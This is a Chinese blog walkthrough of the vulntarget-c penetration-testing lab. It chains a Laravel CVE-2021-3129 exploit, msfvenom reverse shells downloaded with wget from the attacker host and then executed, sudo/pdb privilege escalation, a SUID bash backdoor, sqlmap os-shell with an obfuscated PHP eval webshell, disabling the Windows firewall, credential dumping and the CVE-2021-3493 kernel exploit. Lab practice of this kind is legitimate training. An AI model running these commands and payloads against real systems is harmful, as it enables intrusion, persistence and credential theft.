VulnTarget-c

最新推荐文章于 2024-08-07 22:56:01 发布
最新推荐文章于 2024-08-07 22:56:01 发布
阅读量348 收藏 1
点赞数
分类专栏： 靶机练习 文章标签： c语言 php ubuntu
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47372600/article/details/131250240
版权

实验目标：拿取Ubuntu 16主机的Flag信息
学习目标：Laravel/OVAS-PHP漏洞/隧道代理/免杀/提权/CVE-2021-3129/CVE-2021-3493等
靶机下载：其中vulntarget-c为本次实验机器

百度云：
链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码:1p9p

》》》靶机信息《《《

#攻击机
OS：Kali
NIC:10.30.7.56

#Ubuntu-Server
OS:Ubuntu 20
Server:Laravel 8.4.2
userpass:root/root#qwe
userpass:vulntarget/root
NIC1:10.30.7.55   -->桥接模式网卡
NIC2:10.0.20.141  -->仅主机模式网卡

#Wins16-Server
OS:Windows server 2016
Server:OVAS-PHP CMS
userpass：administrator:Admin#123
NIC1:10.0.20.100   -->仅主机模式网卡
NIC2:10.0.10.139    -->仅主机模式网卡

#Ubuntu16-Server
OS:Ubuntu 16
userpass：vulntarget:Admin#123
NIC1：10.0.10.110

一：边界主机

0x00：信息收集

步骤一：开始外网打点使用Nmap扫描目标主机…发现只开启22端口与80端口

nmap 10.30.7.55

image.png
步骤二：根据以上测试结果访问目标80端口发现为Laravel框架…这味道很熟悉.查看版本号且存在CVE-2021-3129漏洞下载以下项目攻击到Kali攻击机…

git clone https://github.com/SNCKER/CVE-2021-3129
cd CVE-2021-3129
git clone https://github.com/ambionics/phpggc.git（exp执行需要使用此工具)

image.png

0x01：漏洞攻击

步骤四：修改项目中exploit.py文件将main()函数中的Exp()函数接受参数修改为目标站点地址与要执行的命令…发现当前权限为www-data低权限…

#修改位置
def main():
    Exp("http://10.30.7.55/", "whoami")
#执行命令
python exploit.py

image.png
步骤五：使用MSF生成Linux反向木马并开启HTTP服务器，执行以下命令将木马下载到目标机器并上线MSF…失败

#生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.56 lport=1234 -f elf -o 1234.elf

#MSF开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.30.7.56
set lport 1234
run

#开启HTTP服务器
python2 -m SimpleHTTPServer 8080

#修改exploit.py文件
wget http://10.30.7.56:8080/1234.elf&&chmod 777 1234.elf&&./1234.elf
#执行命令
python exploit.py

image.png
步骤六：以上操作未反弹回Shell在脚本中执行命令发现程序下载目录未根目录…这里通过FireFox插件Wappalyzer查看到中间件为Apache且拉取到laravel的容器站点存放在public目录下，可尝试将后门下载站点目录赋予权限反弹Shell…成功

cd /var/www/html/public&&wget http://10.30.7.56:8080/1234.elf&&chmod 777 1234.elf&&./1234.elf

image.png
image.png

0x02：权限提升

步骤七：使用以下模块扫描可提权的漏洞模块…挨个测试后提权失败…

run post/multi/recon/local_exploit_suggester

image.png
步骤八：进入目标主机查看/home目录下存在vulntarget用户尝试使用Hydra进行SSH爆破…得到密码root

hydra -l vulntarget -P password 10.30.7.55

image.png
步骤九：SSH登录目标主机尝试SUID提权未果…尝试SUDO提权查看哪些文件是可以使用root权限执行的，回显的/opt/root.py文件比较可疑…

#SUID查找
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
#SUDO查找
sudo -l

image.png
image.png
步骤十：简单阅读代码发现运行脚本会在本地的1025-65535端口上开启一个socket接口且密码是mortals登录成功后根据选项给出响应的回显如果有错误的输入在异常处理处打印异常且调用pdb模块…此时进入到调式模块下在此模块中可导入OS模块来执行系统命令完成提权…

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'mortals':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
        except Exception as e:
                print(e)
                pdb.post_mortem(e.__traceback__)
        finally:
    quit()

步骤十一：在vulntarget用户的Shell下运行此python文件并得到随机监听的端口，另启一个SSH链接使用NC对以上得到的接口做链接…输入密码，输入字母报错回到第一个SSH链接中即可导入OS模块来执行命令完成提权…

SSH1:
sudo python3 root.py

SSH2:
nc localhost randomport
mortals
a

SSH1:
import os
os.system("whoami")

image.png
image.png

0x03：权限维持

步骤十二：执行以下命令赋予用户的Shell为SUID权限一次来为维权…调用具有SUID Shell

import os
os.system("chmod u+s /bin/bash")
bash -p

image.png
步骤十三：再次生成Linux反向木马上传至目标并执行反弹回高权限的Shell…查看并添加路由信息…

#Kali操作
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.56 lport=4321 -f elf -o 4321.elf
Pyhont2 -m SimpleHTTPServer 8080

#Ubuntu 20操作
wget http://10.30.7.56:8080/4321.elf
chmod 777 4321.elf
./4321.elf

#meterpreter操作
getuid
run post/multi/manage/autoroute

image.png

二：二层内网

0x00：信息收集

步骤一：进入Shell中进行信息收集发现存在另一块通往其他网段的网卡并调用MSF对内网主机进行扫描…在此之前需要用以下两条命令在反弹回来的Meterpreter会话中添加通往内网的路由信息…

meterpreter>run post/multi/manage/autoroute  #添加路由
meterpreter>run autoroute -p    #查看路由

use auxiliary/scanner/portscan/tcp
set rhost 10.0.20.0/24
set ports 21,22,80,135,139,445,8080
set threads 30
run

image.png
image.png
步骤二：发现内网主机10.0.20.100开放80端口，在MSF上架设socks5代理服务器并使Firefox通过代理访问该站点…

use auxiliary/server/socks_proxy
run

image.png
步骤三：在右上角有Admin Login按钮点击可进入后台登录页面，在此可配置BP的SOCKS5代理进行抓包爆破
image.png

0x01：漏洞攻击

步骤四：按照以下抓包思路即可抓取是内网站点的HTTP数据包

#代理流程
Browser<--->BurpSuite<--->Socks Proxy Server<--->WebSite
#步骤设置
1.开启BurpSuite进入ProjectOptions选中SOCKS Proxy
2.勾选Override user options并且填写Use SOCKS proxy下的host与port为MSF开启的代理地址与端口
3.回到火狐浏览器设置BP代理为HTTP类型的127.0.0.1:8080与MSF的SOCKS5类型代理
4.先挂MSF的代理访问站点到用户登录界面要抓取的数据包，在挂BP的代理且在BP的Proxy模块开启监听
5.此时已经设置了浏览器的数据走BP，而BP抓到的数据走SOCKS5代理，抓取登陆请求的HTTP数据包...
注：此种方式也可隐藏自身IP地址...

image.png
image.png
image.png
步骤五：成功爆破出账户密码admin:admin123且成功登录到后台，经验所得MSF开启的代理问题还是很多直接部署FRP…获取代理

#frps.ini
[common]
bind_port = 7002

#frpc.ini
[common]
server_addr = 10.30.7.56  -->Kali IP地址
server_port = 7002

[plugin_socks]
type = tcp
remote_port = 7777    --->Socks5端口
plugin = socks5

#Command Code
Kali:./frps -c frps.ini
Ubuntu 20:./frpc -c frpc.ini

【成功如下图片】
image.png
image.png
image.png
步骤六：该OVAS CMS后台存在SQL注入，在此后台页面点击Inquiries–>Action–>View使用BP抓取到数据包且保存到本地文件中…

GET /admin/inquiries/view_details.php?id=1 HTTP/1.1
Host: 10.0.20.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://10.0.20.100/admin/?page=inquiries
Cookie: PHPSESSID=s6rsppk3u30g2ea7a9rlsvpi2i

image.png
步骤七：使用SQLMAP对其抓取的HTTP请求包进行SQL注入测试…发现存在SQL注入

sqlmap -r sqlinjection.txt --proxy=socks5://10.30.7.56:7777 --batch

image.png

0x02：GetShell

步骤八：在该SQL注入点获取OS Shell并写入一句话木马…将一句话木马替换到index.php文件中

#判断是否BDA
sqlmap -r sqlinjection.txt --proxy=socks5://10.30.7.56:7777 --batch --is-dba
#获取交互式Shell
sqlmap -r sqlinjection.txt --proxy=socks5://10.30.7.56:7777 --batch --os-shell
#写入免杀一句话木马
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php
#替换index.php文件
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > index.php

image.png
image.png
image.png
步骤九：给蚁剑设置代理并添加以下数据添加…

http://10.0.20.100/admin/?page=inquiries | d

1658368873614.jpg
image.png

0x03：上线MSF

步骤十：使用MSF生成正向马并作简单的加壳免杀，通过蚁剑上传且关闭防火墙后执行正向链接得到Shell…

#生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=6069 -f exe > insec.exe

#防火墙操作
netsh advfirewall show allprofile state      //查看防火墙状态
netsh advfirewall set  allprofile state off  //关闭防火墙

#监听链接
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6069
set rhost 10.0.20.100
run

image.png
1658372038659.jpg
步骤十一：信息收集…发现还存在通往内网的网卡且破解出管理员的密码…开启目标机器的RDP服务

#执行命令
systeminfo
ipconfig /all
load kiwi
creds_all   ——>   dfc8d2bfa540a0a6e2248a82322e654e Admin#123
run getgui -e
netstat -an | findstr 3389   
tasklist /svc ——>   MsMpEng.exe <=> Windows Defender

#收集信息
OS:Wins16
NIC1：10.0.20.100/24
NIC2：10.0.10.139/24
username:administraotr
password:Admin#123
RDP Port:3389

image.png
image.png
image.png
步骤十二：添加路由并扫描10.0.10.0网段的机器…发现主机10.0.10.110存活…

#添加路由信息
run post/multi/manage/autoroute
#扫描内网存活主机
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.10.0/24
set ports 22,23,80,443,8080,445,3306,6378,113,114,81,8000
set threads 30
run

image.png

三：三层内网

步骤一：使用以上抓取破解出的账户密码远程登录到内网Windows主机上…进行一番探索

#代理配置
vi /etc/proxychains4.conf
socks5 127.0.0.1 7777
#桌面链接
proxychains rdesktop 10.0.20.100

image.png
步骤二：在下方看到MobaXterm打开后需要输入密码使用本机管理员密码登录成功…且存在一Linux主机为上面扫描出来的内网机器，点开后为vulntarget普通用户登录
image.png
步骤三：根据Linux内核版本尝试提权，将提权项目下载至本地并编译好上传至Wins16在拖进LinuxShell中执行之后即可提权成功…获取Flag

#uname -a 
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

#项目地址
https://github.com/briskets/CVE-2021-3493

#执行命令
gcc exploit.c -o exploit
./exploit

#flag内容
vulntarget{cve_2021_3493_local_privilege_promotion_overlayfs

image.png

参考文章：

https://cloud.tencent.com/developer/article/1954751
https://www.pudn.com/news/625e2334d9b6ce52bd34834c.html#Options_218
https://www.csdn.net/tags/OtTaQg3sMzcyNzAtYmxvZwO0O0OO0O0O.html
https://blog.csdn.net/qq_41741127/article/details/120615908
https://xw.qq.com/cmsid/20211121A000F200
BearSec
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
vulntarget靶场系列.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。...
【vulntarget】系列：vulntarget-c 练习WP
一只爱吃橙子的羊
07-16 859
【vulntarget】系列：vulntarget-c 练习WP
Vulntarget靶场渗透笔记[持续更新中]
派大星的博客
04-08 7028
Vulntarget靶场渗透笔记 文章目录Vulntarget靶场渗透笔记靶场官方链接Vulntarget-aWriteup网络拓扑环境信息收集win7 MSF上线横向移动win2016cs上线msf上线域渗透域内提权 靶场官方链接 https://github.com/crow821/vulntarget Vulntarget-a Writeup vulntarget漏洞靶场系列(一) 渗透测试练习No.62 内网渗透 vulntarget-a Win7：win7/admin win2016：Admini
[vulntarget靶场] vulntarget-c
qq_43884092的博客
09-25 392
Laravel远程代码执行CVE-2021-3129，后台sql注入getshell，查看MobaXterm已存储的账号密码，sudo提权
乌鸦安全2021年度文章合集
crowsec
02-09 1239
乌鸦安全精选原创文章合集，基本上大部分都是原创，当然还有一部分文章由其他师傅投稿提供，在此感谢各位师傅的投稿和帮助！
vultarget-a红日靶场全面解析（完整版）
热门推荐
问彡心的博客
11-02 1万+
这是一次完全的渗透过程，从对外开放的主机开放的通达OA系统漏洞和永恒之蓝漏洞进入第一层主机，并利用其作为跳板机，渗透第二层存在有redis未授权访问的漏洞，在根据添加路由和代理的方式成功拿到最高权限的shell，最终攻击到域控，从web渗透，到横向渗透最后到掌握域控，中间出现过很多的问题，比如通道死机，无法连接，木马程序停止在目标机运行等状况
渗透靶场——vulntarget-a综合靶场
tlovejr的博客
03-24 4903
部署环境 此次靶场不再是单个镜像，而是三个镜像文件，接下来先给大家说一下整个环境的拓扑图以环境布置。 只需要把win7外网机和kali机同样的网卡host-Only形式即可，剩下的两台即可也是直接安排好了，无需做任何更改。 靶机下载地址： 信息收集 扫描主机 扫描同一网段中的存活主机 发现一个存活主机（其他的是我自己其他机器）192.168.1.9 扫描端口 扫描一下存活靶机的ip地址 nmap -A -p- 192.168.1.9 一看就知道这个存活靶机是一个win7系统，那么对于win7系统来说，4
C ++测试随机数
quaer的博客
08-03 268
【代码】C ++测试随机数。
C++（区别于C的）基础内容总结
qq_28576837的博客
08-02 957
C++ 中创建引用 试想变量名称是变量附属在内存位置中的标签，您可以把引用当成是变量附属在内存位置中的第二个标签。在这些声明中，& 读作引用。因此，第一个声明可以读作 "r 是一个初始化为 i 的整型引用"，第二个声明可以读作 "s 是一个初始化为 d 的 double 型引用"。通过这些小实例，我们无法区分 cout、cerr 和 clog 的差异，但在编写和执行大型程序时，它们之间的差异就变得非常明显。调用函数时，如果未传递参数的值，则会使用默认值，如果指定了值，则会忽略默认值，使用传递的值。
程序设计基础(c语言)
renewal_m的博客
08-03 482
2、本题要求实现一个函数，可求两个数的最大公约数，例如，12和8的最大公约数为4，则该函数应该返回4运行结果如下2、本题要求实现一个函数，可求两个数的最大公约数，例如，12和8的最大公约数为4，则该函数应该返回4。
C语言bsearch函数
qq_69383179的博客
08-02 1044
这里有关于C语言里的bsearch函数的一些知识
【时时三省】unity test 测试框架 介绍（适用于C语言进行测试的）
时时三省的博客
08-04 674
详细介绍 unity test 测试框架，并且举例 对于 c 代码如何测试。
C语言----字符串的匹配
最新发布
Mumyi_的博客
08-07 327
C语言----字符串的匹配
WEB渗透Web突破篇-SSRF
qq_59468567的博客
08-03 927
转码服务 在线翻译 获取超链接的标题等内容进行显示 请求远程服务器资源的地方，图片加载与下载(通过URL地址加载或下载图片) 图片、文章收藏功能 对外发起网络请求的地方，网站采集、网页抓取的地方。 头像 (远程加载头像) 一切要你输入网址的地方和可以输入ip的地方。 数据库内置功能(mongodb的copyDatabase函数) 邮件系统 文件处理 在线处理工具 从URL关键字中寻找：share、wap、url、link、src、source、target、u、3g、display、sourceURl、im
LNMP环境搭建论坛
qq_63652578的博客
08-07 638
root@Rocky8-node1 ~]# mv upload/* /usr/share/nginx/html/ #把upload下的所有内容移动到/usr/share/nginx/html/[root@Rocky8-node1 ~]# sed -i '/^group =/ c \group = nginx' /etc/php-fpm.d/www.conf #将组改为nginx。
phpadmin管理系统
qq_70836100的博客
08-04 96
set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/mafa.php' //修 改⽇志的保存位置。
常见的CMS漏洞
C233333235的博客
08-03 522
通过⽇志⽂件拿Shell 利⽤mysql⽇志⽂件写shell，这个⽇志可以在mysql⾥改变它的存放位置，登录phpmyadmin可以修改 这个存放位置，并且可以修改它的后缀名。查到数据库位置后，就可以大概猜测一下网站的根目录，一般www目录在phpstudt_pro下，是Extensions的同级目录。以确认我们的修改生效了，修改成功后，日志文件的后缀就被修改成了php，那么其中的php语句就会被运行。这样日志文件中就会有这个一句话木马的字样，我们去访问日志文件后，就可以进行连接获取shell。
Linux安全与高级应用（四）深入探索MySQL数据库：安装、管理与安全实践
洛秋的博客
08-07 955
Linux：作为操作系统，提供稳定的运行环境。Apache：作为Web服务器，处理HTTP请求。MySQL：作为数据库管理系统，存储和管理数据。：作为脚本语言，生成动态网页。LAMP平台的优势在于其成本低廉、可定制性强、易于开发、方便易用且安全稳定。这使得LAMP成为许多企业和开发者的首选平台。通过以上步骤，我们完成了LAMP平台的部署及其主要组件的配置和测试。LAMP平台的搭建不仅为Web开发提供了一个强大的环境，同时也展现了其在成本和效率上的优势。
ctfhub文件包含
a666666688的博客
08-07 238
文件的内容，通常这个文件包含一些敏感信息，比如CTF比赛中的flag。这样就可以通过浏览器或其他HTTP客户端看到。，直接访问这个URL将导致服务器读取并返回。
vulntarget-j
09-18
vulntarget-j 是一种安全测试平台，旨在模拟真实网络环境中的漏洞，以便于安全专业人员进行渗透测试和漏洞分析。该平台提供了一系列虚拟机和漏洞环境，使用户能够模拟并测试真实世界中常见的漏洞攻击。vulntarget-j 不仅可以用于入侵测试，还可以用于培训和教育目的。 vulntarget-j 的虚拟机和漏洞环境包括各种常见的漏洞和安全漏洞，例如操作系统漏洞、Web应用程序漏洞、网络服务漏洞等。用户可以使用这些虚拟机来发起各种类型的攻击，如恶意代码注入、SQL注入、跨站脚本等。除了这些预设的虚拟机，用户还可以创建自己的漏洞环境，以满足特定的安全测试需求。 vulntarget-j 还提供了一个用户友好的界面和工具集，使用户能够轻松配置和管理虚拟机和漏洞环境。用户可以根据自己的需求选择不同的配置选项，并且可以随时修改和更新环境。另外，该平台还提供了详细的文档和教程，帮助用户更好地了解和使用平台功能。 总而言之，vulntarget-j 是一个功能强大且易于使用的安全测试平台，适用于安全专业人员进行渗透测试和漏洞分析。它提供了各种虚拟机和漏洞环境，使用户可以模拟并测试现实世界中的漏洞攻击。此外，它还具有用户友好的界面和工具集，并提供了详细的文档和教程，帮助用户更好地使用平台。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值